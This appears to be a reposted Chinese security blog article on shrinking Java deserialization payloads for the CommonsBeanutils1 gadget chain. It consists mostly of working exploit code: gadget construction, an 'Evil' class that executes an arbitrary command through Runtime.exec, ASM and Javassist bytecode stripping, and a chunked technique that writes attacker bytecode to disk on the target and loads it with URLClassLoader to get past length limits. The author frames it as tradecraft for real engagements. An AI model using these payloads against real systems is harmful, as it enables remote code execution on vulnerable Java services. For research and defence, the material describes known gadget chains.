文章总结： 本文研究Java反序列化payload缩小技术，以CB1链为例。通过优化Gadget结构、删除字节码调试信息、利用Javassist生成精简类及改用构造函数执行代码，成功将YSOSERIAL生成的payload长度缩减近65%。此外，文章提出分块写入与URLClassLoader加载技术以突破长度限制，具备实战价值。 综合评分： 98 文章分类： 渗透测试,漏洞分析,代码审计
终极Java反序列化Payload缩小技术
原创
4ra1n 4ra1n
亿人安全
2022年1月19日 10:01
文章首发于先知社区
https://xz.aliyun.com/t/10824
介绍
实战中由于各种情况，可能会对反序列化Payload的长度有所限制，因此研究反序列化Payload缩小技术是有意义且必要的
本文以CommonsBeanutils1链为示例，重点在于三部分：
- 序列化数据本身的缩小
- 针对
TemplatesImpl中_bytecodes字节码的缩小 - 对于执行的代码如何缩小（
STATIC代码块）
接下来我将展示如何一步一步地缩小
最终效果能够将YSOSERIAL生成的Payload缩小接近三分之二（从3692长度缩小到1296）
YSOSERIAL
首先用YSOSERIAL工具直接生成CB1的链，看看Base64处理后的长度
java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser
生成后统计长度为：3692
byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
System.out.println(new String(data).length());
构造Gadget
尝试不借助YSOSERIAL直接构造CB1的链
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
构造代码
public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
try {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
return serialize(queue);
} catch (Exception e) {
e.printStackTrace();
}
return new byte[]{};
}
恶意类
public class EvilByteCodes extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
}
读取字节码并设置到Gadget中，序列化后统计长度：2728
相比YSOSERIAL直接生成的，缩小了26.1%
byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());
其实上文中还有三处可以优化：
- 设置
_name名称可以是一个字符 - 其中
_tfactory属性可以删除（分析TemplatesImpl得出） - 其中
EvilByteCodes类捕获异常后无需处理
setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}
经过这三处优化后得到长度：2608
相比YSOSERIAL直接生成的，缩小了29.3%
从字节码层面优化
上文中的EvilBytesCode恶意类的字节码是可以缩减的
对字节码进行分析：javap -c -l EvilByteCodes.class
public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
// transform 1
// transform 2
// <init>
// <clint>
static {};
Code:
0: invokestatic #2 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
3: ldc #3 // String
5: invokevirtual #4 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
8: pop
9: goto 13
12: astore_0
13: return
Exception table:
from to target type
0 9 12 Class java/lang/Exception
LineNumberTable:
line 11: 0
line 13: 9
line 12: 12
line 14: 13
LocalVariableTable:
Start Length Slot Name Signature
}
可以看出，该类每个方法包含了三部分：
- 代码对应的字节码
- ExceptionTable和LocalVariableTable
- LineNumberTable
有JVM相关的知识可以得知，局部变量表和异常表是不能删除的，否则无法执行
但LineNumberTable是可以删除的
换句话来说：LINENUMBER指令可以全部删了
于是我基于ASM实现删除LINENUMBER
byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
重点在于ShortMethodAdapter：如果遇到LINENUMBER指令则阻止传递，可以理解为返回空
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
读取编译的字节码并处理后替换
Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
经过优化后得到长度：1832
相比YSOSERIAL直接生成的，缩小了50.3%
使用Javassist构造
以上代码虽然做到了超过百分之五十的缩小，但存在一个问题：目前的恶意类是写死的，无法动态构造
想要动态构造字节码一种手段是选择ASM做，但有更好的选择：Javassist
通过这样的一个方法，就可以根据输入命令动态构造出Evil类
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" } catch (Exception ignored) {\n" +
" }");
CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod2);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
将动态生成的字节码保存至当前目录，再读取加载
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
经过优化后得到长度：1848
相比YSOSERIAL直接生成的，缩小了49.9%
不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令
不过这只是猜测，当我使用上文的删除指令代码优化后，发现进一步缩小了
...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 验证Payload是否有效
Payload.deserialize(Base64.getDecoder().decode(payload));
经过优化后得到长度：1804
相比YSOSERIAL直接生成的，缩小了51.1%
验证Payload有效可以弹出计算器
删除重写方法
可以发现Evil类继承自AbstractTranslet抽象类，所以必须重写两个transform方法
这样写代码会导致编译不通过，无法执行
public class EvilByteCodes extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}
}
}
编译不通过不代表非法，通过手段直接构造对应的字节码
（1）通过ASM删除方法
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
if (name.equals("transform")) {
return null;
}
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv, name);
}
（2）通过Javassist直接构造
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
通过以上手段处理后进行反序列化验证：成功弹出计算器
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));
最终优化后得到长度：1332
相比YSOSERIAL直接生成的，缩小了63.9%
并不是所有方法都能删除，比如不存在构造方法的情况下无法删除空参构造
于是有了一个新思路：删除静态代码块，将代码写入空参构造
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
最终优化后得到长度：1296
相比YSOSERIAL直接生成的，缩小了64.8%
终极技术：分块传输
以上的内容都在围绕字节码和序列化数据的缩小，我认为已经做到的接近极致，很难做到更小的
对于STATIC代码块中需要执行的代码也有缩小手段，这也是更有实战意义是思考，因为实战中不是弹个计算器这么简单
因此可以用追加的方式发送多个请求往指定文件中写入字节码，将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload，以追加的方式将所有字节码的Base64写入某文件
static {
try {
String path = "/your/path";
// 创建文件
File file = new File(path);
file.createNewFile();
// 传入true是追加方式写文件
FileOutputStream fos = new FileOutputStream(path, true);
// 需要写入的数据
String data = "BASE64_BYTECODES_PART";
fos.write(data.getBytes());
fos.close();
} catch (Exception ignore) {
}
}
在最后一个包中将字节码进行Base64Decode并写入class文件
（也可以直接写字节码二进制数据，不过个人认为Base64好分割处理一些）
static {
try {
String path = "/your/path";
FileInputStream fis = new FileInputStream(path);
// size取决于实际情况
byte[] data = new byte[size];
fis.read(data);
// 写入Evil.class
FileOutputStream fos = new FileOutputStream("Evil.class");
fos.write(Base64.getDecoder().decode(data));
fos.close();
} catch (Exception ignored) {
}
}
会有师傅产生疑问：为什么要写这么多的代码而不用java.nio.file.Files工具类一行实现读写
其实我一开始就是使用该工具类在做，后来测试发现受用用Stream读写产生的Payload会更小
最后一个包使用URLClassLoader进行加载
注意一个小坑，传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类
static {
try {
String path = "file:///your/path/";
URL url = new URL(path);
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
Class<?> clazz = urlClassLoader.loadClass("Evil);
clazz.newInstance();
} catch (Exception ignored) {
}
}
代码
我对常见的反序列化链做了总结和测试，效果如下（出了个叛徒）
项目地址：https://github.com/EmYiQing/ShortPayload
期待大家的三连！！！！
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本文转载自：亿人安全 4ra1n 4ra1n《终极Java反序列化Payload缩小技术》
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